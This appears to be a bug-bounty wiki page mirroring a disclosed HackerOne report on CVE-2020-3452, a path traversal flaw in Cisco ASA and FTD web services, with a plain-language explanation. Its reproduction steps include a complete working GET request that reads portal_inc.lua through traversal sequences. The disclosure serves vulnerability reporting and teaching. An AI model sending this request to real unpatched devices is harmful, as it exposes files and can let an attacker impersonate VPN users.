Skip to content
Path traversal Disclosed report Beginner CVE-2020-3452

Unathenticated file read (CVE-2020-3452)

The web services interface of Cisco ASA and FTD software did not properly validate URLs, allowing directory traversal. An unauthenticated attacker could read files in the web services file system, potentially impersonating a VPN user.

r00tdaddy Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 7 days
  • Disclosed after 18 days

Description: A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 https://www.rapid7.com/blog/post/2020/07/23/cve-2020-3452-cisco-asa-firepower-read-only-path-traversal-vulnerability-what-you-need-to-know/

Impact

Impact An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-3452

Steps to Reproduce

1.) Perform the following GET request: GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1 Host: ██████ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F Connection: close Accept: / Accept-Language: en Accept-Encoding: gzip, deflate, br

2.) The response will contain contents of portal_inc.lua

Suggested Mitigation/Remediation Actions

Cisco has released software updates that address this vulnerability.

The original report as published on HackerOne, by r00tdaddy. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could view arbitrary files within the web services file system, which could allow impersonating another VPN user and establishing a Clientless SSL VPN or AnyConnect VPN session as that user; system and OS files are not accessible.

What the attacker needed

WebVPN or AnyConnect enabled on the device; Network access to the web services interface; No authentication required

The fix

Cisco released software updates that address the vulnerability.

How it was found

  1. Send a crafted GET request to the oem-customization endpoint with traversal sequences in the parameters.
  2. Observe that the response contains the contents of the targeted file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A directory traversal bug lets someone use special characters in a web address to step outside the intended folder and read other files. Here, an unauthenticated attacker could read files in the VPN web area, which might let them pretend to be another VPN user. The flaw is that the device did not check the web address properly.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by r00tdaddy

View all

4 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.